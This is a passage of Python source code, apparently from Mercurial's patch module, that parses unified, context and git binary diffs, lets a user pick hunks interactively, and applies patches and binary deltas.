     pretty_re = re.compile('(?:new file|deleted file) ')
     special_re = re.compile('(?:index|deleted|copy|rename) ')
     newfile_re = re.compile('(?:new file)')
 
     def __init__(self, header):
         self.header = header
         self.hunks = []
 
     def binary(self):
         return any(h.startswith('index ') for h in self.header)
 
     def pretty(self, fp):
         for h in self.header:
             if h.startswith('index '):
                 fp.write(_('this modifies a binary file (all or nothing)\n'))
                 break
             if self.pretty_re.match(h):
                 fp.write(h)
                 if self.binary():
                     fp.write(_('this is a binary file\n'))
                 break
             if h.startswith('---'):
                 fp.write(_('%d hunks, %d lines changed\n') %
                          (len(self.hunks),
                           sum([max(h.added, h.removed) for h in self.hunks])))
                 break
             fp.write(h)
 
     def write(self, fp):
         fp.write(''.join(self.header))
 
     def allhunks(self):
         return any(self.allhunks_re.match(h) for h in self.header)
 
     def files(self):
         match = self.diffgit_re.match(self.header[0])
         if match:
             fromfile, tofile = match.groups()
             if fromfile == tofile:
                 return [fromfile]
             return [fromfile, tofile]
         else:
             return self.diff_re.match(self.header[0]).groups()
 
     def filename(self):
         return self.files()[-1]
 
     def __repr__(self):
         return '<header %s>' % (' '.join(map(repr, self.files())))
 
     def isnewfile(self):
         return any(self.newfile_re.match(h) for h in self.header)
 
     def special(self):
         # Special files are shown only at the header level and not at the hunk
         # level for example a file that has been deleted is a special file.
         # The user cannot change the content of the operation, in the case of
         # the deleted file he has to take the deletion or not take it, he
         # cannot take some of it.
         # Newly added files are special if they are empty, they are not special
         # if they have some content as we want to be able to change it
         nocontent = len(self.header) == 2
         emptynewfile = self.isnewfile() and nocontent
         return emptynewfile or \
                 any(self.special_re.match(h) for h in self.header)
 
 class recordhunk(object):
     """patch hunk
 
     XXX shouldn't we merge this with the other hunk class?
     """
 
     def __init__(self, header, fromline, toline, proc, before, hunk, after,
                  maxcontext=None):
         def trimcontext(lines, reverse=False):
             if maxcontext is not None:
                 delta = len(lines) - maxcontext
                 if delta > 0:
                     if reverse:
                         return delta, lines[delta:]
                     else:
                         return delta, lines[:maxcontext]
             return 0, lines
 
         self.header = header
         trimedbefore, self.before = trimcontext(before, True)
         self.fromline = fromline + trimedbefore
         self.toline = toline + trimedbefore
         _trimedafter, self.after = trimcontext(after, False)
         self.proc = proc
         self.hunk = hunk
         self.added, self.removed = self.countchanges(self.hunk)
 
     def __eq__(self, v):
         if not isinstance(v, recordhunk):
             return False
 
         return ((v.hunk == self.hunk) and
                 (v.proc == self.proc) and
                 (self.fromline == v.fromline) and
                 (self.header.files() == v.header.files()))
 
     def __hash__(self):
         return hash((tuple(self.hunk),
             tuple(self.header.files()),
             self.fromline,
             self.proc))
 
     def countchanges(self, hunk):
         """hunk -> (n+,n-)"""
         add = len([h for h in hunk if h.startswith('+')])
         rem = len([h for h in hunk if h.startswith('-')])
         return add, rem
 
     def reversehunk(self):
         """return another recordhunk which is the reverse of the hunk
 
         If this hunk is diff(A, B), the returned hunk is diff(B, A). To do
         that, swap fromline/toline and +/- signs while keep other things
         unchanged.
         """
         m = {'+': '-', '-': '+', '\\': '\\'}
         hunk = ['%s%s' % (m[l[0:1]], l[1:]) for l in self.hunk]
         return recordhunk(self.header, self.toline, self.fromline, self.proc,
                           self.before, hunk, self.after)
 
     def write(self, fp):
         delta = len(self.before) + len(self.after)
         if self.after and self.after[-1] == '\\ No newline at end of file\n':
             delta -= 1
         fromlen = delta + self.removed
         tolen = delta + self.added
         fp.write('@@ -%d,%d +%d,%d @@%s\n' %
                  (self.fromline, fromlen, self.toline, tolen,
                   self.proc and (' ' + self.proc)))
         fp.write(''.join(self.before + self.hunk + self.after))
 
     pretty = write
 
     def filename(self):
         return self.header.filename()
 
     def __repr__(self):
         return '<hunk %r@%d>' % (self.filename(), self.fromline)
 
 def getmessages():
     return {
         'multiple': {
             'apply': _("apply change %d/%d to '%s'?"),
             'discard': _("discard change %d/%d to '%s'?"),
             'record': _("record change %d/%d to '%s'?"),
         },
         'single': {
             'apply': _("apply this change to '%s'?"),
             'discard': _("discard this change to '%s'?"),
             'record': _("record this change to '%s'?"),
         },
         'help': {
             'apply': _('[Ynesfdaq?]'
                          '$$ &Yes, apply this change'
                          '$$ &No, skip this change'
                          '$$ &Edit this change manually'
                          '$$ &Skip remaining changes to this file'
                          '$$ Apply remaining changes to this &file'
                          '$$ &Done, skip remaining changes and files'
                          '$$ Apply &all changes to all remaining files'
                          '$$ &Quit, applying no changes'
                          '$$ &? (display help)'),
             'discard': _('[Ynesfdaq?]'
                          '$$ &Yes, discard this change'
                          '$$ &No, skip this change'
                          '$$ &Edit this change manually'
                          '$$ &Skip remaining changes to this file'
                          '$$ Discard remaining changes to this &file'
                          '$$ &Done, skip remaining changes and files'
                          '$$ Discard &all changes to all remaining files'
                          '$$ &Quit, discarding no changes'
                          '$$ &? (display help)'),
             'record': _('[Ynesfdaq?]'
                         '$$ &Yes, record this change'
                         '$$ &No, skip this change'
                         '$$ &Edit this change manually'
                         '$$ &Skip remaining changes to this file'
                         '$$ Record remaining changes to this &file'
                         '$$ &Done, skip remaining changes and files'
                         '$$ Record &all changes to all remaining files'
                         '$$ &Quit, recording no changes'
                         '$$ &? (display help)'),
         }
     }
 
 def filterpatch(ui, headers, operation=None):
     """Interactively filter patch chunks into applied-only chunks"""
     messages = getmessages()
 
     if operation is None:
         operation = 'record'
 
     def prompt(skipfile, skipall, query, chunk):
         """prompt query, and process base inputs
 
         - y/n for the rest of file
         - y/n for the rest
         - ? (help)
         - q (quit)
 
         Return True/False and possibly updated skipfile and skipall.
         """
         newpatches = None
         if skipall is not None:
             return skipall, skipfile, skipall, newpatches
         if skipfile is not None:
             return skipfile, skipfile, skipall, newpatches
         while True:
             resps = messages['help'][operation]
             r = ui.promptchoice("%s %s" % (query, resps))
             ui.write("\n")
             if r == 8: # ?
                 for c, t in ui.extractchoices(resps)[1]:
                     ui.write('%s - %s\n' % (c, encoding.lower(t)))
                 continue
             elif r == 0: # yes
                 ret = True
             elif r == 1: # no
                 ret = False
             elif r == 2: # Edit patch
                 if chunk is None:
                     ui.write(_('cannot edit patch for whole file'))
                     ui.write("\n")
                     continue
                 if chunk.header.binary():
                     ui.write(_('cannot edit patch for binary file'))
                     ui.write("\n")
                     continue
                 # Patch comment based on the Git one (based on comment at end of
                 # https://mercurial-scm.org/wiki/RecordExtension)
                 phelp = '---' + _("""
 To remove '-' lines, make them ' ' lines (context).
 To remove '+' lines, delete them.
 Lines starting with # will be removed from the patch.
 
 If the patch applies cleanly, the edited hunk will immediately be
 added to the record list. If it does not apply cleanly, a rejects
 file will be generated: you can use that when you try again. If
 all lines of the hunk are removed, then the edit is aborted and
 the hunk is left unchanged.
 """)
                 (patchfd, patchfn) = pycompat.mkstemp(prefix="hg-editor-",
                                                       suffix=".diff")
                 ncpatchfp = None
                 try:
                     # Write the initial patch
                     f = util.nativeeolwriter(os.fdopen(patchfd, r'wb'))
                     chunk.header.write(f)
                     chunk.write(f)
                     f.write('\n'.join(['# ' + i for i in phelp.splitlines()]))
                     f.close()
                     # Start the editor and wait for it to complete
                     editor = ui.geteditor()
                     ret = ui.system("%s \"%s\"" % (editor, patchfn),
                                     environ={'HGUSER': ui.username()},
                                     blockedtag='filterpatch')
                     if ret != 0:
                         ui.warn(_("editor exited with exit code %d\n") % ret)
                         continue
                     # Remove comment lines
                     patchfp = open(patchfn, r'rb')
                     ncpatchfp = stringio()
                     for line in util.iterfile(patchfp):
                         line = util.fromnativeeol(line)
                         if not line.startswith('#'):
                             ncpatchfp.write(line)
                     patchfp.close()
                     ncpatchfp.seek(0)
                     newpatches = parsepatch(ncpatchfp)
                 finally:
                     os.unlink(patchfn)
                     del ncpatchfp
                 # Signal that the chunk shouldn't be applied as-is, but
                 # provide the new patch to be used instead.
                 ret = False
             elif r == 3: # Skip
                 ret = skipfile = False
             elif r == 4: # file (Record remaining)
                 ret = skipfile = True
             elif r == 5: # done, skip remaining
                 ret = skipall = False
             elif r == 6: # all
                 ret = skipall = True
             elif r == 7: # quit
                 raise error.Abort(_('user quit'))
             return ret, skipfile, skipall, newpatches
 
     seen = set()
     applied = {}        # 'filename' -> [] of chunks
     skipfile, skipall = None, None
     pos, total = 1, sum(len(h.hunks) for h in headers)
     for h in headers:
         pos += len(h.hunks)
         skipfile = None
         fixoffset = 0
         hdr = ''.join(h.header)
         if hdr in seen:
             continue
         seen.add(hdr)
         if skipall is None:
             h.pretty(ui)
         msg = (_('examine changes to %s?') %
                _(' and ').join("'%s'" % f for f in h.files()))
         r, skipfile, skipall, np = prompt(skipfile, skipall, msg, None)
         if not r:
             continue
         applied[h.filename()] = [h]
         if h.allhunks():
             applied[h.filename()] += h.hunks
             continue
         for i, chunk in enumerate(h.hunks):
             if skipfile is None and skipall is None:
                 chunk.pretty(ui)
             if total == 1:
                 msg = messages['single'][operation] % chunk.filename()
             else:
                 idx = pos - len(h.hunks) + i
                 msg = messages['multiple'][operation] % (idx, total,
                                                          chunk.filename())
             r, skipfile, skipall, newpatches = prompt(skipfile,
                     skipall, msg, chunk)
             if r:
                 if fixoffset:
                     chunk = copy.copy(chunk)
                     chunk.toline += fixoffset
                 applied[chunk.filename()].append(chunk)
             elif newpatches is not None:
                 for newpatch in newpatches:
                     for newhunk in newpatch.hunks:
                         if fixoffset:
                             newhunk.toline += fixoffset
                         applied[newhunk.filename()].append(newhunk)
             else:
                 fixoffset += chunk.removed - chunk.added
     return (sum([h for h in applied.itervalues()
                if h[0].special() or len(h) > 1], []), {})
 class hunk(object):
     def __init__(self, desc, num, lr, context):
         self.number = num
         self.desc = desc
         self.hunk = [desc]
         self.a = []
         self.b = []
         self.starta = self.lena = None
         self.startb = self.lenb = None
         if lr is not None:
             if context:
                 self.read_context_hunk(lr)
             else:
                 self.read_unified_hunk(lr)
 
     def getnormalized(self):
         """Return a copy with line endings normalized to LF."""
 
         def normalize(lines):
             nlines = []
             for line in lines:
                 if line.endswith('\r\n'):
                     line = line[:-2] + '\n'
                 nlines.append(line)
             return nlines
 
         # Dummy object, it is rebuilt manually
         nh = hunk(self.desc, self.number, None, None)
         nh.number = self.number
         nh.desc = self.desc
         nh.hunk = self.hunk
         nh.a = normalize(self.a)
         nh.b = normalize(self.b)
         nh.starta = self.starta
         nh.startb = self.startb
         nh.lena = self.lena
         nh.lenb = self.lenb
         return nh
 
     def read_unified_hunk(self, lr):
         m = unidesc.match(self.desc)
         if not m:
             raise PatchError(_("bad hunk #%d") % self.number)
         self.starta, self.lena, self.startb, self.lenb = m.groups()
         if self.lena is None:
             self.lena = 1
         else:
             self.lena = int(self.lena)
         if self.lenb is None:
             self.lenb = 1
         else:
             self.lenb = int(self.lenb)
         self.starta = int(self.starta)
         self.startb = int(self.startb)
         try:
             diffhelper.addlines(lr, self.hunk, self.lena, self.lenb,
                                 self.a, self.b)
         except error.ParseError as e:
             raise PatchError(_("bad hunk #%d: %s") % (self.number, e))
         # if we hit eof before finishing out the hunk, the last line will
         # be zero length.  Lets try to fix it up.
         while len(self.hunk[-1]) == 0:
             del self.hunk[-1]
             del self.a[-1]
             del self.b[-1]
             self.lena -= 1
             self.lenb -= 1
         self._fixnewline(lr)
 
     def read_context_hunk(self, lr):
         self.desc = lr.readline()
         m = contextdesc.match(self.desc)
         if not m:
             raise PatchError(_("bad hunk #%d") % self.number)
         self.starta, aend = m.groups()
         self.starta = int(self.starta)
         if aend is None:
             aend = self.starta
         self.lena = int(aend) - self.starta
         if self.starta:
             self.lena += 1
         for x in xrange(self.lena):
             l = lr.readline()
             if l.startswith('---'):
                 # lines addition, old block is empty
                 lr.push(l)
                 break
             s = l[2:]
             if l.startswith('- ') or l.startswith('! '):
                 u = '-' + s
             elif l.startswith('  '):
                 u = ' ' + s
             else:
                 raise PatchError(_("bad hunk #%d old text line %d") %
                                  (self.number, x))
             self.a.append(u)
             self.hunk.append(u)
 
         l = lr.readline()
         if l.startswith('\ '):
             s = self.a[-1][:-1]
             self.a[-1] = s
             self.hunk[-1] = s
             l = lr.readline()
         m = contextdesc.match(l)
         if not m:
             raise PatchError(_("bad hunk #%d") % self.number)
         self.startb, bend = m.groups()
         self.startb = int(self.startb)
         if bend is None:
             bend = self.startb
         self.lenb = int(bend) - self.startb
         if self.startb:
             self.lenb += 1
         hunki = 1
         for x in xrange(self.lenb):
             l = lr.readline()
             if l.startswith('\ '):
                 # XXX: the only way to hit this is with an invalid line range.
                 # The no-eol marker is not counted in the line range, but I
                 # guess there are diff(1) out there which behave differently.
                 s = self.b[-1][:-1]
                 self.b[-1] = s
                 self.hunk[hunki - 1] = s
                 continue
             if not l:
                 # line deletions, new block is empty and we hit EOF
                 lr.push(l)
                 break
             s = l[2:]
             if l.startswith('+ ') or l.startswith('! '):
                 u = '+' + s
             elif l.startswith('  '):
                 u = ' ' + s
             elif len(self.b) == 0:
                 # line deletions, new block is empty
                 lr.push(l)
                 break
             else:
                 raise PatchError(_("bad hunk #%d old text line %d") %
                                  (self.number, x))
             self.b.append(s)
             while True:
                 if hunki >= len(self.hunk):
                     h = ""
                 else:
                     h = self.hunk[hunki]
                 hunki += 1
                 if h == u:
                     break
                 elif h.startswith('-'):
                     continue
                 else:
                     self.hunk.insert(hunki - 1, u)
                     break
 
         if not self.a:
             # this happens when lines were only added to the hunk
             for x in self.hunk:
                 if x.startswith('-') or x.startswith(' '):
                     self.a.append(x)
         if not self.b:
             # this happens when lines were only deleted from the hunk
             for x in self.hunk:
                 if x.startswith('+') or x.startswith(' '):
                     self.b.append(x[1:])
         # @@ -start,len +start,len @@
         self.desc = "@@ -%d,%d +%d,%d @@\n" % (self.starta, self.lena,
                                              self.startb, self.lenb)
         self.hunk[0] = self.desc
         self._fixnewline(lr)
 
     def _fixnewline(self, lr):
         l = lr.readline()
         if l.startswith('\ '):
             diffhelper.fixnewline(self.hunk, self.a, self.b)
         else:
             lr.push(l)
 
     def complete(self):
         return len(self.a) == self.lena and len(self.b) == self.lenb
 
     def _fuzzit(self, old, new, fuzz, toponly):
         # this removes context lines from the top and bottom of list 'l'.  It
         # checks the hunk to make sure only context lines are removed, and then
         # returns a new shortened list of lines.
         fuzz = min(fuzz, len(old))
         if fuzz:
             top = 0
             bot = 0
             hlen = len(self.hunk)
             for x in xrange(hlen - 1):
                 # the hunk starts with the @@ line, so use x+1
                 if self.hunk[x + 1].startswith(' '):
                     top += 1
                 else:
                     break
             if not toponly:
                 for x in xrange(hlen - 1):
                     if self.hunk[hlen - bot - 1].startswith(' '):
                         bot += 1
                     else:
                         break
 
             bot = min(fuzz, bot)
             top = min(fuzz, top)
             return old[top:len(old) - bot], new[top:len(new) - bot], top
         return old, new, 0
 
     def fuzzit(self, fuzz, toponly):
         old, new, top = self._fuzzit(self.a, self.b, fuzz, toponly)
         oldstart = self.starta + top
         newstart = self.startb + top
         # zero length hunk ranges already have their start decremented
         if self.lena and oldstart > 0:
             oldstart -= 1
         if self.lenb and newstart > 0:
             newstart -= 1
         return old, oldstart, new, newstart
 
 class binhunk(object):
     'A binary patch file.'
     def __init__(self, lr, fname):
         self.text = None
         self.delta = False
         self.hunk = ['GIT binary patch\n']
         self._fname = fname
         self._read(lr)
 
     def complete(self):
         return self.text is not None
 
     def new(self, lines):
         if self.delta:
             return [applybindelta(self.text, ''.join(lines))]
         return [self.text]
 
     def _read(self, lr):
         def getline(lr, hunk):
             l = lr.readline()
             hunk.append(l)
             return l.rstrip('\r\n')
 
         size = 0
         while True:
             line = getline(lr, self.hunk)
             if not line:
                 raise PatchError(_('could not extract "%s" binary data')
                                  % self._fname)
             if line.startswith('literal '):
                 size = int(line[8:].rstrip())
                 break
             if line.startswith('delta '):
                 size = int(line[6:].rstrip())
                 self.delta = True
                 break
         dec = []
         line = getline(lr, self.hunk)
         while len(line) > 1:
             l = line[0:1]
             if l <= 'Z' and l >= 'A':
                 l = ord(l) - ord('A') + 1
             else:
                 l = ord(l) - ord('a') + 27
             try:
                 dec.append(util.b85decode(line[1:])[:l])
             except ValueError as e:
                 raise PatchError(_('could not decode "%s" binary patch: %s')
                                  % (self._fname, stringutil.forcebytestr(e)))
             line = getline(lr, self.hunk)
         text = zlib.decompress(''.join(dec))
         if len(text) != size:
             raise PatchError(_('"%s" length is %d bytes, should be %d')
                              % (self._fname, len(text), size))
         self.text = text
 
 def parsefilename(str):
     # --- filename \t|space stuff
     s = str[4:].rstrip('\r\n')
     i = s.find('\t')
     if i < 0:
         i = s.find(' ')
         if i < 0:
             return s
     return s[:i]
 
 def reversehunks(hunks):
     '''reverse the signs in the hunks given as argument
 
     This function operates on hunks coming out of patch.filterpatch, that is
     a list of the form: [header1, hunk1, hunk2, header2...]. Example usage:
 
     >>> rawpatch = b"""diff --git a/folder1/g b/folder1/g
     ... --- a/folder1/g
     ... +++ b/folder1/g
     ... @@ -1,7 +1,7 @@
     ... +firstline
     ...  c
     ...  1
     ...  2
     ... + 3
     ... -4
     ...  5
     ...  d
     ... +lastline"""
     >>> hunks = parsepatch([rawpatch])
     >>> hunkscomingfromfilterpatch = []
     >>> for h in hunks:
     ...     hunkscomingfromfilterpatch.append(h)
     ...     hunkscomingfromfilterpatch.extend(h.hunks)
 
     >>> reversedhunks = reversehunks(hunkscomingfromfilterpatch)
     >>> from . import util
     >>> fp = util.stringio()
     >>> for c in reversedhunks:
     ...      c.write(fp)
     >>> fp.seek(0) or None
     >>> reversedpatch = fp.read()
     >>> print(pycompat.sysstr(reversedpatch))
     diff --git a/folder1/g b/folder1/g
     --- a/folder1/g
     +++ b/folder1/g
     @@ -1,4 +1,3 @@
     -firstline
      c
      1
      2
     @@ -2,6 +1,6 @@
      c
      1
      2
     - 3
     +4
      5
      d
     @@ -6,3 +5,2 @@
      5
      d
     -lastline
 
     '''
 
     newhunks = []
     for c in hunks:
         if util.safehasattr(c, 'reversehunk'):
             c = c.reversehunk()
         newhunks.append(c)
     return newhunks
 
 def parsepatch(originalchunks, maxcontext=None):
     """patch -> [] of headers -> [] of hunks
 
     If maxcontext is not None, trim context lines if necessary.
 
     >>> rawpatch = b'''diff --git a/folder1/g b/folder1/g
     ... --- a/folder1/g
     ... +++ b/folder1/g
     ... @@ -1,8 +1,10 @@
     ...  1
     ...  2
     ... -3
     ...  4
     ...  5
     ...  6
     ... +6.1
     ... +6.2
     ...  7
     ...  8
     ... +9'''
     >>> out = util.stringio()
     >>> headers = parsepatch([rawpatch], maxcontext=1)
     >>> for header in headers:
     ...     header.write(out)
     ...     for hunk in header.hunks:
     ...         hunk.write(out)
     >>> print(pycompat.sysstr(out.getvalue()))
     diff --git a/folder1/g b/folder1/g
     --- a/folder1/g
     +++ b/folder1/g
     @@ -2,3 +2,2 @@
      2
     -3
      4
     @@ -6,2 +5,4 @@
      6
     +6.1
     +6.2
      7
     @@ -8,1 +9,2 @@
      8
     +9
     """
     class parser(object):
         """patch parsing state machine"""
         def __init__(self):
             self.fromline = 0
             self.toline = 0
             self.proc = ''
             self.header = None
             self.context = []
             self.before = []
             self.hunk = []
             self.headers = []
 
         def addrange(self, limits):
             fromstart, fromend, tostart, toend, proc = limits
             self.fromline = int(fromstart)
             self.toline = int(tostart)
             self.proc = proc
 
         def addcontext(self, context):
             if self.hunk:
                 h = recordhunk(self.header, self.fromline, self.toline,
                         self.proc, self.before, self.hunk, context, maxcontext)
                 self.header.hunks.append(h)
                 self.fromline += len(self.before) + h.removed
                 self.toline += len(self.before) + h.added
                 self.before = []
                 self.hunk = []
             self.context = context
 
         def addhunk(self, hunk):
             if self.context:
                 self.before = self.context
                 self.context = []
             self.hunk = hunk
 
         def newfile(self, hdr):
             self.addcontext([])
             h = header(hdr)
             self.headers.append(h)
             self.header = h
 
         def addother(self, line):
             pass # 'other' lines are ignored
 
         def finished(self):
             self.addcontext([])
             return self.headers
 
         transitions = {
             'file': {'context': addcontext,
                      'file': newfile,
                      'hunk': addhunk,
                      'range': addrange},
             'context': {'file': newfile,
                         'hunk': addhunk,
                         'range': addrange,
                         'other': addother},
             'hunk': {'context': addcontext,
                      'file': newfile,
                      'range': addrange},
             'range': {'context': addcontext,
                       'hunk': addhunk},
             'other': {'other': addother},
             }
 
     p = parser()
     fp = stringio()
     fp.write(''.join(originalchunks))
     fp.seek(0)
 
     state = 'context'
     for newstate, data in scanpatch(fp):
         try:
             p.transitions[state][newstate](p, data)
         except KeyError:
             raise PatchError('unhandled transition: %s -> %s' %
                                    (state, newstate))
         state = newstate
     del fp
     return p.finished()
 
 def pathtransform(path, strip, prefix):
     '''turn a path from a patch into a path suitable for the repository
 
     prefix, if not empty, is expected to be normalized with a / at the end.
 
     Returns (stripped components, path in repository).
 
     >>> pathtransform(b'a/b/c', 0, b'')
     ('', 'a/b/c')
     >>> pathtransform(b'   a/b/c   ', 0, b'')
     ('', '   a/b/c')
     >>> pathtransform(b'   a/b/c   ', 2, b'')
     ('a/b/', 'c')
     >>> pathtransform(b'a/b/c', 0, b'd/e/')
     ('', 'd/e/a/b/c')
     >>> pathtransform(b'   a//b/c   ', 2, b'd/e/')
     ('a//b/', 'd/e/c')
     >>> pathtransform(b'a/b/c', 3, b'')
     Traceback (most recent call last):
     PatchError: unable to strip away 1 of 3 dirs from a/b/c
     '''
     pathlen = len(path)
     i = 0
     if strip == 0:
         return '', prefix + path.rstrip()
     count = strip
     while count > 0:
         i = path.find('/', i)
         if i == -1:
             raise PatchError(_("unable to strip away %d of %d dirs from %s") %
                              (count, strip, path))
         i += 1
         # consume '//' in the path
         while i < pathlen - 1 and path[i:i + 1] == '/':
             i += 1
         count -= 1
     return path[:i].lstrip(), prefix + path[i:].rstrip()
 
 def makepatchmeta(backend, afile_orig, bfile_orig, hunk, strip, prefix):
     nulla = afile_orig == "/dev/null"
     nullb = bfile_orig == "/dev/null"
     create = nulla and hunk.starta == 0 and hunk.lena == 0
     remove = nullb and hunk.startb == 0 and hunk.lenb == 0
     abase, afile = pathtransform(afile_orig, strip, prefix)
     gooda = not nulla and backend.exists(afile)
     bbase, bfile = pathtransform(bfile_orig, strip, prefix)
     if afile == bfile:
         goodb = gooda
     else:
         goodb = not nullb and backend.exists(bfile)
     missing = not goodb and not gooda and not create
 
     # some diff programs apparently produce patches where the afile is
     # not /dev/null, but afile starts with bfile
     abasedir = afile[:afile.rfind('/') + 1]
     bbasedir = bfile[:bfile.rfind('/') + 1]
     if (missing and abasedir == bbasedir and afile.startswith(bfile)
         and hunk.starta == 0 and hunk.lena == 0):
         create = True
         missing = False
 
     # If afile is "a/b/foo" and bfile is "a/b/foo.orig" we assume the
     # diff is between a file and its backup. In this case, the original
     # file should be patched (see original mpatch code).
     isbackup = (abase == bbase and bfile.startswith(afile))
     fname = None
     if not missing:
         if gooda and goodb:
             if isbackup:
                 fname = afile
             else:
                 fname = bfile
         elif gooda:
             fname = afile
 
     if not fname:
         if not nullb:
             if isbackup:
                 fname = afile
             else:
                 fname = bfile
         elif not nulla:
             fname = afile
         else:
             raise PatchError(_("undefined source and destination files"))
 
     gp = patchmeta(fname)
     if create:
         gp.op = 'ADD'
     elif remove:
         gp.op = 'DELETE'
     return gp
 
 def scanpatch(fp):
     """like patch.iterhunks, but yield different events
 
     - ('file',    [header_lines + fromfile + tofile])
     - ('context', [context_lines])
     - ('hunk',    [hunk_lines])
     - ('range',   (-start,len, +start,len, proc))
     """
     lines_re = re.compile(br'@@ -(\d+),(\d+) \+(\d+),(\d+) @@\s*(.*)')
     lr = linereader(fp)
 
     def scanwhile(first, p):
         """scan lr while predicate holds"""
         lines = [first]
         for line in iter(lr.readline, ''):
             if p(line):
                 lines.append(line)
             else:
                 lr.push(line)
                 break
         return lines
 
     for line in iter(lr.readline, ''):
         if line.startswith('diff --git a/') or line.startswith('diff -r '):
             def notheader(line):
                 s = line.split(None, 1)
                 return not s or s[0] not in ('---', 'diff')
             header = scanwhile(line, notheader)
             fromfile = lr.readline()
             if fromfile.startswith('---'):
                 tofile = lr.readline()
                 header += [fromfile, tofile]
             else:
                 lr.push(fromfile)
             yield 'file', header
         elif line.startswith(' '):
             cs = (' ', '\\')
             yield 'context', scanwhile(line, lambda l: l.startswith(cs))
         elif line.startswith(('-', '+')):
             cs = ('-', '+', '\\')
             yield 'hunk', scanwhile(line, lambda l: l.startswith(cs))
         else:
             m = lines_re.match(line)
             if m:
                 yield 'range', m.groups()
             else:
                 yield 'other', line
 
 def scangitpatch(lr, firstline):
     """
     Git patches can emit:
     - rename a to b
     - change b
     - copy a to c
     - change c
 
     We cannot apply this sequence as-is, the renamed 'a' could not be
     found for it would have been renamed already. And we cannot copy
     from 'b' instead because 'b' would have been changed already. So
     we scan the git patch for copy and rename commands so we can
     perform the copies ahead of time.
     """
     pos = 0
     try:
         pos = lr.fp.tell()
         fp = lr.fp
     except IOError:
         fp = stringio(lr.fp.read())
     gitlr = linereader(fp)
     gitlr.push(firstline)
     gitpatches = readgitpatch(gitlr)
     fp.seek(pos)
     return gitpatches
 
 def iterhunks(fp):
     """Read a patch and yield the following events:
     - ("file", afile, bfile, firsthunk): select a new target file.
     - ("hunk", hunk): a new hunk is ready to be applied, follows a
     "file" event.
     - ("git", gitchanges): current diff is in git format, gitchanges
     maps filenames to gitpatch records. Unique event.
     """
     afile = ""
     bfile = ""
     state = None
     hunknum = 0
     emitfile = newfile = False
     gitpatches = None
 
     # our states
     BFILE = 1
     context = None
     lr = linereader(fp)
 
     for x in iter(lr.readline, ''):
         if state == BFILE and (
             (not context and x.startswith('@'))
             or (context is not False and x.startswith('***************'))
             or x.startswith('GIT binary patch')):
             gp = None
             if (gitpatches and
                 gitpatches[-1].ispatching(afile, bfile)):
                 gp = gitpatches.pop()
             if x.startswith('GIT binary patch'):
                 h = binhunk(lr, gp.path)
             else:
                 if context is None and x.startswith('***************'):
                     context = True
                 h = hunk(x, hunknum + 1, lr, context)
             hunknum += 1
             if emitfile:
                 emitfile = False
                 yield 'file', (afile, bfile, h, gp and gp.copy() or None)
             yield 'hunk', h
         elif x.startswith('diff --git a/'):
             m = gitre.match(x.rstrip(' \r\n'))
             if not m:
                 continue
             if gitpatches is None:
                 # scan whole input for git metadata
                 gitpatches = scangitpatch(lr, x)
                 yield 'git', [g.copy() for g in gitpatches
                               if g.op in ('COPY', 'RENAME')]
                 gitpatches.reverse()
             afile = 'a/' + m.group(1)
             bfile = 'b/' + m.group(2)
             while gitpatches and not gitpatches[-1].ispatching(afile, bfile):
                 gp = gitpatches.pop()
                 yield 'file', ('a/' + gp.path, 'b/' + gp.path, None, gp.copy())
             if not gitpatches:
                 raise PatchError(_('failed to synchronize metadata for "%s"')
                                  % afile[2:])
             gp = gitpatches[-1]
             newfile = True
         elif x.startswith('---'):
             # check for a unified diff
             l2 = lr.readline()
             if not l2.startswith('+++'):
                 lr.push(l2)
                 continue
             newfile = True
             context = False
             afile = parsefilename(x)
             bfile = parsefilename(l2)
         elif x.startswith('***'):
             # check for a context diff
             l2 = lr.readline()
             if not l2.startswith('---'):
                 lr.push(l2)
                 continue
             l3 = lr.readline()
             lr.push(l3)
             if not l3.startswith("***************"):
                 lr.push(l2)
                 continue
             newfile = True
             context = True
             afile = parsefilename(x)
             bfile = parsefilename(l2)
 
         if newfile:
             newfile = False
             emitfile = True
             state = BFILE
             hunknum = 0
 
     while gitpatches:
         gp = gitpatches.pop()
         yield 'file', ('a/' + gp.path, 'b/' + gp.path, None, gp.copy())
 
 def applybindelta(binchunk, data):
     """Apply a binary delta hunk
     The algorithm used is the algorithm from git's patch-delta.c
     """
     def deltahead(binchunk):
         i = 0
         for c in pycompat.bytestr(binchunk):
             i += 1
             if not (ord(c) & 0x80):
                 return i
         return i
     out = ""
     s = deltahead(binchunk)
     binchunk = binchunk[s:]
     s = deltahead(binchunk)
     binchunk = binchunk[s:]
     i = 0
     while i < len(binchunk):
         cmd = ord(binchunk[i:i + 1])
         i += 1
         if (cmd & 0x80):
             offset = 0
             size = 0
             if (cmd & 0x01):
                 offset = ord(binchunk[i:i + 1])
                 i += 1
             if (cmd & 0x02):
                 offset |= ord(binchunk[i:i + 1]) << 8
                 i += 1
             if (cmd & 0x04):
                 offset |= ord(binchunk[i:i + 1]) << 16
                 i += 1
             if (cmd & 0x08):
                 offset |= ord(binchunk[i:i + 1]) << 24
                 i += 1
             if (cmd & 0x10):
                 size = ord(binchunk[i:i + 1])
                 i += 1
             if (cmd & 0x20):
                 size |= ord(binchunk[i:i + 1]) << 8
                 i += 1
             if (cmd & 0x40):
                 size |= ord(binchunk[i:i + 1]) << 16
                 i += 1
             if size == 0:
                 size = 0x10000
             offset_end = offset + size
             out += data[offset:offset_end]
         elif cmd != 0:
             offset_end = i + cmd
             out += binchunk[i:offset_end]
             i += cmd
         else:
             raise PatchError(_('unexpected delta opcode 0'))
     return out
 
 def applydiff(ui, fp, backend, store, strip=1, prefix='', eolmode='strict'):
     """Reads a patch from fp and tries to apply it.
 
     Returns 0 for a clean patch, -1 if any rejects were found and 1 if
     there was any fuzz.
 
     If 'eolmode' is 'strict', the patch content and patched file are
     read in binary mode. Otherwise, line endings are ignored when
     patching then normalized according to 'eolmode'.
     """
     return _applydiff(ui, fp, patchfile, backend, store, strip=strip,
                       prefix=prefix, eolmode=eolmode)
 
 def _canonprefix(repo, prefix):
     if prefix:
         prefix = pathutil.canonpath(repo.root, repo.getcwd(), prefix)
         if prefix != '':
             prefix += '/'
     return prefix
 
 def _applydiff(ui, fp, patcher, backend, store, strip=1, prefix='',
                eolmode='strict'):
     prefix = _canonprefix(backend.repo, prefix)
     def pstrip(p):
         return pathtransform(p, strip - 1, prefix)[1]
 
     rejects = 0
     err = 0
     current_file = None
 
     for state, values in iterhunks(fp):
         if state == 'hunk':
             if not current_file:
                 continue
             ret = current_file.apply(values)
             if ret > 0:
                 err = 1
         elif state == 'file':
             if current_file:
                 rejects += current_file.close()
                 current_file = None
